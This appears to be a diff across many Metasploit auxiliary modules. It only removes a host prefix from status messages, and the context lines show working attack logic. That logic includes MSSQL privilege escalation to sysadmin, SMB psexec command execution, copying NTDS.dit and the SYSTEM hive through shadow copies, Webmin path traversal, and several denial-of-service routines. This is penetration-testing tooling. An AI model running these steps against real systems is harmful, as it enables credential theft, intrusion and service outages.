trust_db_list = check_trust_dbs
|
||||
if trust_db_list.nil? || trust_db_list.length == 0
|
||||
print_error("#{peer} - No databases owned by sysadmin were found flagged as trustworthy.")
|
||||
print_error("No databases owned by sysadmin were found flagged as trustworthy.")
|
||||
return
|
||||
else
|
||||
# Display list of accessible databases to user
|
||||
print_good("#{peer} - #{trust_db_list.length} affected database(s) were found:")
|
||||
print_good("#{trust_db_list.length} affected database(s) were found:")
|
||||
trust_db_list.each do |db|
|
||||
print_status(" - #{db}")
|
||||
end
|
||||
end
|
||||
|
||||
# Check if the user has the db_owner role in any of the databases
|
||||
print_status("#{peer} - Checking if #{db_user} has the db_owner role in any of them...")
|
||||
print_status("Checking if #{db_user} has the db_owner role in any of them...")
|
||||
owner_status = check_db_owner(trust_db_list)
|
||||
if owner_status.nil?
|
||||
print_error("#{peer} - Fail buckets, the user doesn't have db_owner role anywhere.")
|
||||
print_error("Fail buckets, the user doesn't have db_owner role anywhere.")
|
||||
return
|
||||
else
|
||||
print_good("#{peer} - #{db_user} has the db_owner role on #{owner_status}.")
|
||||
print_good("#{db_user} has the db_owner role on #{owner_status}.")
|
||||
end
|
||||
|
||||
# Attempt to escalate to sysadmin
|
||||
print_status("#{peer} - Attempting to add #{db_user} to sysadmin role...")
|
||||
print_status("Attempting to add #{db_user} to sysadmin role...")
|
||||
escalate_privs(owner_status, db_user)
|
||||
|
||||
admin_status = check_sysadmin
|
||||
if admin_status && admin_status == '1'
|
||||
print_good("#{peer} - Success! #{db_user} is now a sysadmin!")
|
||||
print_good("Success! #{db_user} is now a sysadmin!")
|
||||
else
|
||||
print_error("#{peer} - Fail buckets, something went wrong.")
|
||||
print_error("Fail buckets, something went wrong.")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -28,60 +28,60 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def run
|
||||
# Get the database user name
|
||||
print_status("#{peer} - Grabbing the database user name...")
|
||||
print_status("Grabbing the database user name...")
|
||||
db_user = get_username
|
||||
if db_user.nil?
|
||||
print_error("#{peer} - Unable to grab user name...")
|
||||
print_error("Unable to grab user name...")
|
||||
return
|
||||
else
|
||||
print_good("#{peer} - Database user: #{db_user}")
|
||||
print_good("Database user: #{db_user}")
|
||||
end
|
||||
|
||||
# Grab sysadmin status
|
||||
print_status("#{peer} - Checking if #{db_user} is already a sysadmin...")
|
||||
print_status("Checking if #{db_user} is already a sysadmin...")
|
||||
admin_status = check_sysadmin
|
||||
|
||||
if admin_status.nil?
|
||||
print_error("#{peer} - Couldn't retrieve user status, aborting...")
|
||||
print_error("Couldn't retrieve user status, aborting...")
|
||||
return
|
||||
elsif admin_status == '1'
|
||||
print_error("#{peer} - #{db_user} is already a sysadmin, no escalation needed.")
|
||||
print_error("#{db_user} is already a sysadmin, no escalation needed.")
|
||||
return
|
||||
else
|
||||
print_status("#{peer} - #{db_user} is NOT a sysadmin, let's try to escalate privileges.")
|
||||
print_status("#{db_user} is NOT a sysadmin, let's try to escalate privileges.")
|
||||
end
|
||||
|
||||
# Get list of users that can be impersonated
|
||||
print_status("#{peer} - Enumerating a list of users that can be impersonated...")
|
||||
print_status("Enumerating a list of users that can be impersonated...")
|
||||
imp_user_list = check_imp_users
|
||||
if imp_user_list.nil? || imp_user_list.empty?
|
||||
print_error("#{peer} - Sorry, the current user doesnt have permissions to impersonate anyone.")
|
||||
print_error("Sorry, the current user doesnt have permissions to impersonate anyone.")
|
||||
return
|
||||
else
|
||||
# Display list of users that can be impersonated
|
||||
print_good("#{peer} - #{imp_user_list.length} users can be impersonated:")
|
||||
print_good("#{imp_user_list.length} users can be impersonated:")
|
||||
imp_user_list.each do |dbuser|
|
||||
print_status("#{peer} - #{dbuser}")
|
||||
print_status(" #{dbuser}")
|
||||
end
|
||||
end
|
||||
|
||||
# Check if any of the users that can be impersonated are sysadmins
|
||||
print_status("#{peer} - Checking if any of them are sysadmins...")
|
||||
print_status("Checking if any of them are sysadmins...")
|
||||
imp_user_sysadmin = check_imp_sysadmin(imp_user_list)
|
||||
if imp_user_sysadmin.nil?
|
||||
print_error("#{peer} - Sorry, none of the users that can be impersonated are sysadmins.")
|
||||
print_error("Sorry, none of the users that can be impersonated are sysadmins.")
|
||||
return
|
||||
end
|
||||
|
||||
# Attempt to escalate to sysadmin
|
||||
print_status("#{peer} - Attempting to impersonate #{imp_user_sysadmin}...")
|
||||
print_status("Attempting to impersonate #{imp_user_sysadmin}...")
|
||||
escalate_privs(imp_user_sysadmin,db_user)
|
||||
|
||||
admin_status = check_sysadmin
|
||||
if admin_status && admin_status == '1'
|
||||
print_good("#{peer} - Success! #{db_user} is now a sysadmin!")
|
||||
print_good("Success! #{db_user} is now a sysadmin!")
|
||||
else
|
||||
print_error("#{peer} - Fail buckets, something went wrong.")
|
||||
print_error("Fail buckets, something went wrong.")
|
||||
end
|
||||
end
|
||||
|
||||
@@ -179,10 +179,10 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
# check if user is a sysadmin
|
||||
if parsed_result && parsed_result[0] == '1'
|
||||
print_good("#{peer} - #{imp_user} is a sysadmin!")
|
||||
print_good(" #{imp_user} is a sysadmin!")
|
||||
return imp_user
|
||||
else
|
||||
print_status("#{peer} - #{imp_user} is NOT a sysadmin")
|
||||
print_status(" #{imp_user} is NOT a sysadmin")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -119,7 +119,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("#{peer} - Exploiting sqli to extract users information...")
|
||||
print_status("Exploiting sqli to extract users information...")
|
||||
mark = Rex::Text.rand_text_alpha(8 + rand(5))
|
||||
rand = Rex::Text.rand_text_numeric(2)
|
||||
separator = Rex::Text.rand_text_alpha(5 + rand(5))
|
||||
@@ -134,21 +134,21 @@ class Metasploit3 < Msf::Auxiliary
|
||||
data = do_sqli(injection, mark)
|
||||
|
||||
if data.blank?
|
||||
print_error("#{peer} - Error exploiting sqli")
|
||||
print_error("Error exploiting sqli")
|
||||
return
|
||||
end
|
||||
|
||||
@users = []
|
||||
@plain_passwords = []
|
||||
|
||||
print_status("#{peer} - Parsing extracted data...")
|
||||
print_status("Parsing extracted data...")
|
||||
parse_users(data, mark, separator)
|
||||
|
||||
if @users.empty?
|
||||
print_error("#{peer} - Users not found")
|
||||
print_error("Users not found")
|
||||
return
|
||||
else
|
||||
print_good("#{peer} - #{@users.length} users found!")
|
||||
print_good("#{@users.length} users found!")
|
||||
end
|
||||
|
||||
users_table = Rex::Ui::Text::Table.new(
|
||||
|
||||
@@ -69,7 +69,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
begin
|
||||
smb_login
|
||||
rescue Rex::Proto::SMB::Exceptions::Error => autherror
|
||||
print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}")
|
||||
print_error("Unable to authenticate with given credentials: #{autherror}")
|
||||
return
|
||||
end
|
||||
res = execute_command(text, bat)
|
||||
@@ -96,31 +96,31 @@ class Metasploit3 < Msf::Auxiliary
|
||||
def execute_command(text, bat)
|
||||
# Try and execute the provided command
|
||||
execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
|
||||
print_status("#{peer} - Executing the command...")
|
||||
print_status("Executing the command...")
|
||||
begin
|
||||
return psexec(execute)
|
||||
rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error => exec_command_error
|
||||
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}", 'rex', LEV_3)
|
||||
print_error("#{peer} - Unable to execute specified command: #{exec_command_error}")
|
||||
print_error("Unable to execute specified command: #{exec_command_error}")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
# Retrive output from command
|
||||
def get_output(file)
|
||||
print_status("#{peer} - Getting the command output...")
|
||||
print_status("Getting the command output...")
|
||||
output = smb_read_file(@smbshare, @ip, file)
|
||||
if output.nil?
|
||||
print_error("#{peer} - Error getting command output. #{$!.class}. #{$!}.")
|
||||
print_error("Error getting command output. #{$!.class}. #{$!}.")
|
||||
return
|
||||
end
|
||||
if output.empty?
|
||||
print_status("#{peer} - Command finished with no output")
|
||||
print_status("Command finished with no output")
|
||||
return
|
||||
end
|
||||
|
||||
# Report output
|
||||
print_good("#{peer} - Command completed successfuly!")
|
||||
print_good("Command completed successfuly!")
|
||||
vprint_status("Output for \"#{datastore['COMMAND']}\":")
|
||||
vprint_line("#{output}")
|
||||
|
||||
@@ -143,7 +143,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
fd = smb_open(file, 'rwo')
|
||||
fd.close
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
|
||||
print_status("#{peer} - Unable to get handle: #{accesserror}")
|
||||
print_status("Unable to get handle: #{accesserror}")
|
||||
return false
|
||||
end
|
||||
simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
|
||||
@@ -155,19 +155,19 @@ class Metasploit3 < Msf::Auxiliary
|
||||
# Removes files created during execution.
|
||||
def cleanup_after(*files)
|
||||
simple.connect("\\\\#{@ip}\\#{@smbshare}")
|
||||
print_status("#{peer} - Executing cleanup...")
|
||||
print_status("Executing cleanup...")
|
||||
files.each do |file|
|
||||
begin
|
||||
smb_file_rm(file)
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror
|
||||
print_error("#{peer} - Unable to cleanup #{file}. Error: #{cleanuperror}")
|
||||
print_error("Unable to cleanup #{file}. Error: #{cleanuperror}")
|
||||
end
|
||||
end
|
||||
left = files.collect{ |f| smb_file_exist?(f) }
|
||||
if left.any?
|
||||
print_error("#{peer} - Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.")
|
||||
print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.")
|
||||
else
|
||||
print_status("#{peer} - Cleanup was successful")
|
||||
print_status("Cleanup was successful")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -61,12 +61,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||
begin
|
||||
smb_login
|
||||
rescue StandardError => autherror
|
||||
print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}")
|
||||
print_error("Unable to authenticate with given credentials: #{autherror}")
|
||||
return
|
||||
end
|
||||
# If a VSC was specified then don't try and create one
|
||||
if datastore['VSCPATH'].length > 0
|
||||
print_status("#{peer} - Attempting to copy NTDS.dit from #{datastore['VSCPATH']}")
|
||||
print_status("Attempting to copy NTDS.dit from #{datastore['VSCPATH']}")
|
||||
vscpath = datastore['VSCPATH']
|
||||
else
|
||||
unless datastore['CREATE_NEW_VSC'] == true
|
||||
@@ -81,7 +81,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
download_ntds((datastore['WINPATH'] + "\\Temp\\ntds"))
|
||||
download_sys_hive((datastore['WINPATH'] + "\\Temp\\sys"))
|
||||
else
|
||||
print_error("#{peer} - Failed to find a volume shadow copy. Issuing cleanup command sequence.")
|
||||
print_error("Failed to find a volume shadow copy. Issuing cleanup command sequence.")
|
||||
end
|
||||
end
|
||||
cleanup_after(bat, text, "\\#{datastore['WINPATH']}\\Temp\\ntds", "\\#{datastore['WINPATH']}\\Temp\\sys")
|
||||
@@ -94,7 +94,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
# then creating a new one
|
||||
def check_vss(text, bat)
|
||||
begin
|
||||
print_status("#{peer} - Checking if a Volume Shadow Copy exists already.")
|
||||
print_status("Checking if a Volume Shadow Copy exists already.")
|
||||
prepath = '\\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy'
|
||||
command = "%COMSPEC% /C echo vssadmin list shadows ^> #{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"
|
||||
result = psexec(command)
|
||||
@@ -102,14 +102,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||
vscs = []
|
||||
data.each_line { |line| vscs << line if line.include?("GLOBALROOT") }
|
||||
if vscs.empty?
|
||||
print_status("#{peer} - No VSC Found.")
|
||||
print_status("No VSC Found.")
|
||||
return nil
|
||||
end
|
||||
vscpath = prepath + vscs[vscs.length - 1].to_s.split("ShadowCopy")[1].to_s.chomp
|
||||
print_good("#{peer} - Volume Shadow Copy exists on #{vscpath}")
|
||||
print_good("Volume Shadow Copy exists on #{vscpath}")
|
||||
return vscpath
|
||||
rescue StandardError => vsscheckerror
|
||||
print_error("#{peer} - Unable to determine if VSS is enabled: #{vsscheckerror}")
|
||||
print_error("Unable to determine if VSS is enabled: #{vsscheckerror}")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
@@ -120,16 +120,16 @@ class Metasploit3 < Msf::Auxiliary
|
||||
begin
|
||||
#Try to create the shadow copy
|
||||
command = "%COMSPEC% /C echo #{createvsc} ^> #{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"
|
||||
print_status("#{peer} - Creating Volume Shadow Copy")
|
||||
print_status("Creating Volume Shadow Copy")
|
||||
out = psexec(command)
|
||||
#Get path to Volume Shadow Copy
|
||||
vscpath = get_vscpath(text)
|
||||
rescue StandardError => vscerror
|
||||
print_error("#{peer} - Unable to create the Volume Shadow Copy: #{vscerror}")
|
||||
print_error("Unable to create the Volume Shadow Copy: #{vscerror}")
|
||||
return nil
|
||||
end
|
||||
if vscpath
|
||||
print_good("#{peer} - Volume Shadow Copy created on #{vscpath}")
|
||||
print_good("Volume Shadow Copy created on #{vscpath}")
|
||||
return vscpath
|
||||
else
|
||||
return nil
|
||||
@@ -148,7 +148,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
return true
|
||||
rescue StandardError => ntdscopyerror
|
||||
print_error("#{peer} - Unable to copy ntds.dit from Volume Shadow Copy.Make sure target is a Windows Domain Controller: #{ntdscopyerror}")
|
||||
print_error("Unable to copy ntds.dit from Volume Shadow Copy.Make sure target is a Windows Domain Controller: #{ntdscopyerror}")
|
||||
return false
|
||||
end
|
||||
end
|
||||
@@ -156,7 +156,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
# Checks if ntds.dit was copied to the Windows Temp directory
|
||||
def check_ntds(text)
|
||||
print_status("#{peer} - Checking if NTDS.dit was copied.")
|
||||
print_status("Checking if NTDS.dit was copied.")
|
||||
check = "%COMSPEC% /C dir \\#{datastore['WINPATH']}\\Temp\\ntds > #{text}"
|
||||
run = psexec(check)
|
||||
output = smb_read_file(@smbshare, @ip, text)
|
||||
@@ -174,7 +174,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
command = "%COMSPEC% /C reg.exe save HKLM\\SYSTEM %WINDIR%\\Temp\\sys /y"
|
||||
return psexec(command)
|
||||
rescue StandardError => hiveerror
|
||||
print_error("#{peer} - Unable to copy the SYSTEM hive file: #{hiveerror}")
|
||||
print_error("Unable to copy the SYSTEM hive file: #{hiveerror}")
|
||||
return false
|
||||
end
|
||||
end
|
||||
@@ -182,7 +182,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
# Download the ntds.dit copy to your attacking machine
|
||||
def download_ntds(file)
|
||||
print_status("#{peer} - Downloading ntds.dit file")
|
||||
print_status("Downloading ntds.dit file")
|
||||
begin
|
||||
# Try to download ntds.dit
|
||||
simple.connect("\\\\#{@ip}\\#{@smbshare}")
|
||||
@@ -190,9 +190,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||
data = remotefile.read
|
||||
remotefile.close
|
||||
ntds_path = store_loot("psexec.ntdsgrab.ntds", "application/octet-stream", @ip, data, "ntds.dit")
|
||||
print_good("#{peer} - ntds.dit stored at #{ntds_path}")
|
||||
print_good("ntds.dit stored at #{ntds_path}")
|
||||
rescue StandardError => ntdsdownloaderror
|
||||
print_error("#{peer} - Unable to downlaod ntds.dit: #{ntdsdownloaderror}")
|
||||
print_error("Unable to downlaod ntds.dit: #{ntdsdownloaderror}")
|
||||
return ntdsdownloaderror
|
||||
end
|
||||
simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
|
||||
@@ -201,7 +201,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
# Download the SYSTEM hive copy to your attacking machine
|
||||
def download_sys_hive(file)
|
||||
print_status("#{peer} - Downloading SYSTEM hive file")
|
||||
print_status("Downloading SYSTEM hive file")
|
||||
begin
|
||||
# Try to download SYSTEM hive
|
||||
simple.connect("\\\\#{@ip}\\#{@smbshare}")
|
||||
@@ -209,9 +209,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||
data = remotefile.read
|
||||
remotefile.close
|
||||
hive_path = store_loot("psexec.ntdsgrab.hive", "application/octet-stream", @ip, data, "system-hive")
|
||||
print_good("#{peer} - SYSTEM hive stored at #{hive_path}")
|
||||
print_good("SYSTEM hive stored at #{hive_path}")
|
||||
rescue StandardError => sysdownloaderror
|
||||
print_error("#{peer} - Unable to download SYSTEM hive: #{sysdownloaderror}")
|
||||
print_error("Unable to download SYSTEM hive: #{sysdownloaderror}")
|
||||
return sysdownloaderror
|
||||
end
|
||||
simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
|
||||
@@ -229,7 +229,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
return prepath + vsc.split("ShadowCopy")[1].chomp
|
||||
rescue StandardError => vscpath_error
|
||||
print_error("#{peer} - Could not determine the exact path to the VSC check your WINPATH")
|
||||
print_error("Could not determine the exact path to the VSC check your WINPATH")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
@@ -237,21 +237,21 @@ class Metasploit3 < Msf::Auxiliary
|
||||
# Removes files created during execution.
|
||||
def cleanup_after(*files)
|
||||
simple.connect("\\\\#{@ip}\\#{@smbshare}")
|
||||
print_status("#{peer} - Executing cleanup...")
|
||||
print_status("Executing cleanup...")
|
||||
files.each do |file|
|
||||
begin
|
||||
if smb_file_exist?(file)
|
||||
smb_file_rm(file)
|
||||
end
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror
|
||||
print_error("#{peer} - Unable to cleanup #{file}. Error: #{cleanuperror}")
|
||||
print_error("Unable to cleanup #{file}. Error: #{cleanuperror}")
|
||||
end
|
||||
end
|
||||
left = files.collect{ |f| smb_file_exist?(f) }
|
||||
if left.any?
|
||||
print_error("#{peer} - Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.")
|
||||
print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.")
|
||||
else
|
||||
print_status("#{peer} - Cleanup was successful")
|
||||
print_status("Cleanup was successful")
|
||||
end
|
||||
simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
|
||||
end
|
||||
|
||||
@@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
peer = "#{rhost}:#{rport}"
|
||||
|
||||
print_status("#{peer} - Attempting to login...")
|
||||
print_status("Attempting to login...")
|
||||
|
||||
data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
|
||||
|
||||
@@ -71,17 +71,17 @@ class Metasploit3 < Msf::Auxiliary
|
||||
if res and res.code == 302 and res.get_cookies =~ /sid/
|
||||
session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || ''
|
||||
if session and not session.empty?
|
||||
print_good "#{peer} - Authentication successful"
|
||||
print_good "Authentication successful"
|
||||
else
|
||||
print_error "#{peer} - Authentication failed"
|
||||
print_error "Authentication failed"
|
||||
return
|
||||
end
|
||||
else
|
||||
print_error "#{peer} - Authentication failed"
|
||||
print_error "Authentication failed"
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Attempting to retrieve #{datastore['RPATH']}...")
|
||||
print_status("Attempting to retrieve #{datastore['RPATH']}...")
|
||||
|
||||
traversal = "../" * datastore['DEPTH']
|
||||
traversal << datastore['RPATH']
|
||||
@@ -98,9 +98,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||
loot = $1
|
||||
f = ::File.basename(datastore['RPATH'])
|
||||
path = store_loot('webmin.file', 'application/octet-stream', rhost, loot, f, datastore['RPATH'])
|
||||
print_status("#{peer} - #{datastore['RPATH']} saved in #{path}")
|
||||
print_status("#{datastore['RPATH']} saved in #{path}")
|
||||
else
|
||||
print_error("#{peer} - Failed to retrieve the file")
|
||||
print_error("Failed to retrieve the file")
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
@@ -67,7 +67,7 @@ class Metasploit4 < Msf::Auxiliary
|
||||
c.send_request(r)
|
||||
# Don't wait for a response
|
||||
rescue ::Rex::ConnectionError => exception
|
||||
print_error("#{peer} - Unable to connect: '#{exception.message}'")
|
||||
print_error("Unable to connect: '#{exception.message}'")
|
||||
return
|
||||
ensure
|
||||
disconnect(c) if c
|
||||
|
||||
@@ -56,27 +56,27 @@ class Metasploit3 < Msf::Auxiliary
|
||||
res = send_request_cgi('method' => 'GET', 'uri' => '/')
|
||||
|
||||
unless res
|
||||
print_error("#{peer} - No answer from the BigIP server")
|
||||
print_error("No answer from the BigIP server")
|
||||
return
|
||||
end
|
||||
|
||||
# Simple test based on HTTP Server header to detect BigIP virtual server
|
||||
server = res.headers['Server']
|
||||
unless server =~ /BIG\-IP/ || server =~ /BigIP/ || force_attack
|
||||
print_error("#{peer} - BigIP virtual server was not detected. Please check options")
|
||||
print_error("BigIP virtual server was not detected. Please check options")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Starting DoS attack")
|
||||
print_status("Starting DoS attack")
|
||||
|
||||
# Start attack
|
||||
limit.times do |step|
|
||||
if step % 100 == 0
|
||||
print_status("#{peer} - #{step * 100 / limit}% accomplished...")
|
||||
print_status("#{step * 100 / limit}% accomplished...")
|
||||
end
|
||||
res = send_request_cgi('method' => 'GET', 'uri' => '/')
|
||||
if res && res.headers['Location'] =~ /\/my\.logout\.php3\?errorcode=14/
|
||||
print_good("#{peer} - DoS accomplished: The maximum number of concurrent user sessions has been reached.")
|
||||
print_good("DoS accomplished: The maximum number of concurrent user sessions has been reached.")
|
||||
return
|
||||
end
|
||||
end
|
||||
@@ -84,18 +84,18 @@ class Metasploit3 < Msf::Auxiliary
|
||||
# Check if attack has failed
|
||||
res = send_request_cgi('method' => 'GET', 'uri' => uri)
|
||||
if res.headers['Location'] =~ /\/my.policy/
|
||||
print_error("#{peer} - DoS attack failed. Try to increase the RLIMIT")
|
||||
print_error("DoS attack failed. Try to increase the RLIMIT")
|
||||
else
|
||||
print_status("#{peer} - Result is undefined. Try to manually determine DoS attack result")
|
||||
print_status("Result is undefined. Try to manually determine DoS attack result")
|
||||
end
|
||||
|
||||
rescue ::Errno::ECONNRESET
|
||||
print_error("#{peer} - The connection was reset. Maybe BigIP 'Max In Progress Sessions Per Client IP' counter was reached")
|
||||
print_error("The connection was reset. Maybe BigIP 'Max In Progress Sessions Per Client IP' counter was reached")
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_error("#{peer} - Unable to connect to BigIP")
|
||||
print_error("Unable to connect to BigIP")
|
||||
rescue ::Rex::ConnectionTimeout
|
||||
print_error("#{peer} - Unable to connect to BigIP. Please check options")
|
||||
print_error("Unable to connect to BigIP. Please check options")
|
||||
rescue ::OpenSSL::SSL::SSLError
|
||||
print_error("#{peer} - SSL/TLS connection error")
|
||||
print_error("SSL/TLS connection error")
|
||||
end
|
||||
end
|
||||
|
||||
@@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
if check_host(ip) == Exploit::CheckCode::Vulnerable
|
||||
dos_host(ip)
|
||||
else
|
||||
print_status("#{peer} - Probably not vulnerable, will not dos it.")
|
||||
print_status("Probably not vulnerable, will not dos it.")
|
||||
end
|
||||
end
|
||||
|
||||
@@ -72,17 +72,17 @@ class Metasploit3 < Msf::Auxiliary
|
||||
res = send_request_raw('uri' => uri)
|
||||
|
||||
unless res
|
||||
vprint_error("#{peer} - Connection timed out")
|
||||
vprint_error("Connection timed out")
|
||||
return file_size
|
||||
end
|
||||
|
||||
if res.code == 404
|
||||
vprint_error("#{peer} - You got a 404. URI must be a valid resource.")
|
||||
vprint_error("You got a 404. URI must be a valid resource.")
|
||||
return file_size
|
||||
end
|
||||
|
||||
file_size = res.body.length
|
||||
vprint_status("#{peer} - File length: #{file_size} bytes")
|
||||
vprint_status("File length: #{file_size} bytes")
|
||||
|
||||
return file_size
|
||||
}.call
|
||||
@@ -108,7 +108,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error
|
||||
# Same exceptions the HttpClient mixin catches
|
||||
end
|
||||
print_status("#{peer} - DOS request sent")
|
||||
print_status("DOS request sent")
|
||||
end
|
||||
|
||||
def potential_static_files_uris
|
||||
|
||||
@@ -45,7 +45,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
|
||||
message = md5 + record
|
||||
|
||||
print_status("#{peer} - Triggering a heap overflow to cause DoS...")
|
||||
print_status("Triggering a heap overflow to cause DoS...")
|
||||
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
@@ -57,16 +57,16 @@ class Metasploit3 < Msf::Auxiliary
|
||||
'data' => message
|
||||
})
|
||||
rescue ::Errno::ECONNRESET
|
||||
print_good("#{peer} - NFR Agent didn't answer, DoS seems successful")
|
||||
print_good("NFR Agent didn't answer, DoS seems successful")
|
||||
return
|
||||
end
|
||||
|
||||
if res
|
||||
print_error("#{peer} - NFR Agent didn't die, it still answers...")
|
||||
print_error("NFR Agent didn't die, it still answers...")
|
||||
return
|
||||
end
|
||||
|
||||
print_good("#{peer} - NFR Agent didn't answer, DoS seems successful")
|
||||
print_good("NFR Agent didn't answer, DoS seems successful")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -75,11 +75,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def run
|
||||
print_status "#{peer} - Using digit pattern of #{digit_pattern} taken to #{multiplier} places"
|
||||
print_status "Using digit pattern of #{digit_pattern} taken to #{multiplier} places"
|
||||
sploit = '['
|
||||
sploit << evil_float_string
|
||||
sploit << ']'
|
||||
print_status "#{peer} - Sending DoS HTTP#{datastore['SSL'] ? 'S' : ''} #{verb} request to #{uri}"
|
||||
print_status "Sending DoS HTTP#{datastore['SSL'] ? 'S' : ''} #{verb} request to #{uri}"
|
||||
target_available = true
|
||||
|
||||
begin
|
||||
@@ -91,19 +91,19 @@ class Metasploit3 < Msf::Auxiliary
|
||||
'data' => sploit
|
||||
})
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_error "#{peer} - Unable to connect. (Connection refused)"
|
||||
print_error "Unable to connect. (Connection refused)"
|
||||
target_available = false
|
||||
rescue ::Rex::HostUnreachable
|
||||
print_error "#{peer} - Unable to connect. (Host unreachable)"
|
||||
print_error "Unable to connect. (Host unreachable)"
|
||||
target_available = false
|
||||
rescue ::Rex::ConnectionTimeout
|
||||
print_error "#{peer} - Unable to connect. (Timeout)"
|
||||
print_error "Unable to connect. (Timeout)"
|
||||
target_available = false
|
||||
end
|
||||
|
||||
return unless target_available
|
||||
|
||||
print_status "#{peer} - Checking availability"
|
||||
print_status "Checking availability"
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => verb,
|
||||
@@ -118,13 +118,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||
target_available = false
|
||||
end
|
||||
rescue ::Rex::ConnectionError, Errno::ECONNRESET
|
||||
print_good "#{peer} - DoS appears successful (Host unreachable)"
|
||||
print_good "DoS appears successful (Host unreachable)"
|
||||
target_available = false
|
||||
end
|
||||
|
||||
return unless target_available
|
||||
|
||||
print_status "#{peer} - Target is still responsive, DoS was unsuccessful."
|
||||
print_status "Target is still responsive, DoS was unsuccessful."
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -96,7 +96,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
def user_exists(user)
|
||||
exists = wordpress_user_exists?(user)
|
||||
if exists
|
||||
print_good("#{peer} - Username \"#{username}\" is valid")
|
||||
print_good("Username \"#{username}\" is valid")
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
@@ -107,7 +107,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
return true
|
||||
else
|
||||
print_error("#{peer} - \"#{user}\" is not a valid username")
|
||||
print_error("\"#{user}\" is not a valid username")
|
||||
return false
|
||||
end
|
||||
end
|
||||
@@ -115,7 +115,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
def run
|
||||
if wordpress_and_online?
|
||||
if validate_user
|
||||
print_status("#{peer} - Checking if user \"#{username}\" exists...")
|
||||
print_status("Checking if user \"#{username}\" exists...")
|
||||
unless user_exists(username)
|
||||
print_error('Aborting operation - a valid username must be specified')
|
||||
return
|
||||
@@ -125,7 +125,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
starting_thread = 1
|
||||
while starting_thread < rlimit do
|
||||
ubound = [rlimit - (starting_thread - 1), thread_count].min
|
||||
print_status("#{peer} - Executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}...")
|
||||
print_status("Executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}...")
|
||||
|
||||
threads = []
|
||||
1.upto(ubound) do |i|
|
||||
@@ -133,20 +133,20 @@ class Metasploit3 < Msf::Auxiliary
|
||||
begin
|
||||
wordpress_login(username, Rex::Text.rand_text_alpha(plength), timeout)
|
||||
rescue => e
|
||||
print_error("#{peer} - Timed out during request #{(starting_thread - 1) + i}")
|
||||
print_error("Timed out during request #{(starting_thread - 1) + i}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
threads.each(&:join)
|
||||
